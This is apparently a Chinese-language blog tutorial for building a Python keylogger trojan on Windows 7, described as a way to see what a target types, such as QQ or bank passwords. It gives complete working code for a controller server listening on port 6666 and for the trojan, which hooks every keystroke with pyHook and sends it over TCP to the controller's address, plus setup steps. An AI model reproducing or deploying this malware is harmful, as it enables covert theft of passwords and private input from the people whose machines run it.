键盘记录木马:记录win7中键盘按下信息,数据传送给控制端,可以看到对方输入的信息。例如QQ密码或银行密码。
此程序对环境需求较严格,只建议自己在虚拟机里简单玩玩。
一、环境需求安装
控制端:
1、windows系统或linux系统如:ubuntu、kali
2、能够运行python
被控端:
被控端建议在虚拟机里,我这里是在虚拟机中一个全新的win7系统配置下面的环境。用到的python和exe版的库文件在我资源里可以免费下载。
1、虚拟机中windows7系统
2、python2.7
3、win7exe版python库文件:pyHook-1.5.1.win32-py2.7
4、win7exe版python库文件:pywin32-221.win32-py2.7
被控端环境安装:
1、虚拟机全新win7系统
2、python2.7安装。双击安装文件,一直下一步就行了,注意下安装路径等下要添加到系统变量中。
3、找到刚刚的安装路径复制,根据下面一步步将它添加到系统变量。
打开cmd输入python,出现版本号说明成功安装。
4、pywin32安装。直接双击安装文件一直下一步就行了。
5、pyHook 安装。直接双击安装文件一直下一步就行了。
6、打开cmd输入python,尝试导入两个库,不报错说明安装成功。
二、程序及运行测试
控制端代码:
# 数据解析库
import pickle
# io流
from io import BytesIO
# 通讯模型
from socket import *
# 服务端函数代码
def Server_PIC(ip, port):
# socket套接字 负责连接被控机木马
# AF_INET:ipv4协议
# SOCK_STREAM:TCP通讯模型
socket_obj = socket(AF_INET, SOCK_STREAM)
# 绑定本机信息
socket_obj.bind((ip, port))
# 设置服务端的最大连接数量,一般配置为5,可以被5个木马程序连接
socket_obj.listen(5)
# 声明一个变量后面用来判断是否捕获到文件类型数据
file_no = 1
# 等待木马程序连接
while True:
# 接收TCP连接
# conn为新的套接字对象,可以用来接收和发送数据
connection, address = socket_obj.accept()
# 打印连接被控端的IP地址
print('被控机IP:', address)
# 预先定义接收信息变量
received_message = b''
# 读取接收到的信息
received_message_fragment = connection.recv(1024)
while received_message_fragment:
received_message += received_message_fragment
received_message_fragment = connection.recv(1024)
try:
# 对接收到的字节编码
obj = pickle.loads(received_message)
print(obj)
except EOFError:
# 如果出现EOFError ,表示收到的是图片 写入图片到硬盘
file_name = 'recv_image_' + str(file_no) + '.bmp'
recv_image = open(file_name, 'wb')
recv_image.write(received_message)
file_no += 1
connection.close()
if __name__ == "__main__":
# 允许任何一台计算机连接
Server_IP = '0.0.0.0'
Server_Port = 6666
Server_PIC(Server_IP, Server_Port)
1、控制端开启监听
2、 在本机上运行测试代码,看看能不能成功接收到信息。代码里面的IP地址需要修改一下。
代码:
import pickle
from io import BytesIO
from socket import *
def Client_PIC(ip, port, obj):
try:
msg = pickle.dumps(obj)
send_message = BytesIO(msg)
send_message_fragment = send_message.read(1024)
except TypeError:
send_message = obj
send_message_fragment = send_message.read(1024)
socket_obj = socket(AF_INET, SOCK_STREAM)
# 连接
socket_obj.connect((ip, port))
while send_message_fragment:
socket_obj.send(send_message_fragment)
send_message_fragment = send_message.read(1024)
socket_obj.close()
if __name__ == "__main__":
# 测试
dict = {'key1': 'welcome to WORD', 'key2': [1, 2, 3, 4, 5]}
# ip地址修改为你自己本机的 即服务控制端的IP
Client_PIC('192.168.87.1', 6666, dict)
代码成功运行后可以看到服务控制端收到了信息。
三、端口占用报错处理
1、windows上服务控制端运行后不小心关闭了,再次运行会出现下面报错:
解决方法:
端口已经被占用了,只需要将端口占用的进程关闭就行了。
在本机上打开cmd或者pycharm的终端里使用下面命令:
netstat -aon|findstr "6666" 6666是我们代码里使用端口
taskkill -f /pid 端口进程ID 关闭进程
2、ubuntu上端口占用报错
解决方法:
ps -a
kill -9 进程ID
四、木马上线
注意:程序放到其它系统之前最好把代码里的中文注释去掉,不然会报错。
木马程序:
import pythoncom, pyHook
import pickle
from io import BytesIO
from socket import *
def Client_PIC(ip, port, obj):
try:
msg = pickle.dumps(obj)
send_message = BytesIO(msg)
send_message_fragment = send_message.read(1024)
except TypeError:
send_message = obj
send_message_fragment = send_message.read(1024)
socket_obj = socket(AF_INET, SOCK_STREAM)
socket_obj.connect((ip, port))
while send_message_fragment:
socket_obj.send(send_message_fragment)
send_message_fragment = send_message.read(1024)
socket_obj.close()
def OnKeyboardEvent(event):
dict_key = {}
dict_key['MessageName:'] = event.MessageName
dict_key['Window:'] = event.Window
dict_key['Ascii:'] = (event.Ascii, chr(event.Ascii))
dict_key['Key'] = event.Key
dict_key['KeyID'] = event.KeyID
dict_key['ScanCode:'] = event.ScanCode
dict_key['Alt'] = event.Alt
Client_PIC('192.168.87.1', 6666, dict_key)
return True
def Keylogger():
hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard()
pythoncom.PumpMessages()
if __name__ == '__main__':
Keylogger()
将木马程序放到虚拟机win7中。控制端开启监听,运行木马后,在win7按下的按键信息,控制端这边可以接收到。
控制端监听:
win7运行木马程序
此时,win7上的键盘操作就被监控了,我这里在win7中分别按下asdf1234和alt ctrl,控制机这边可以收到同样信息。我这里被控端IP好像没输出正确,我也不知道为什么。
控制端同样也可以在其它系统运行监控。
到这里木马程序基本就完成了,对环境要求较麻烦,比较鸡肋,自己随便搞搞玩吧,就当学习了。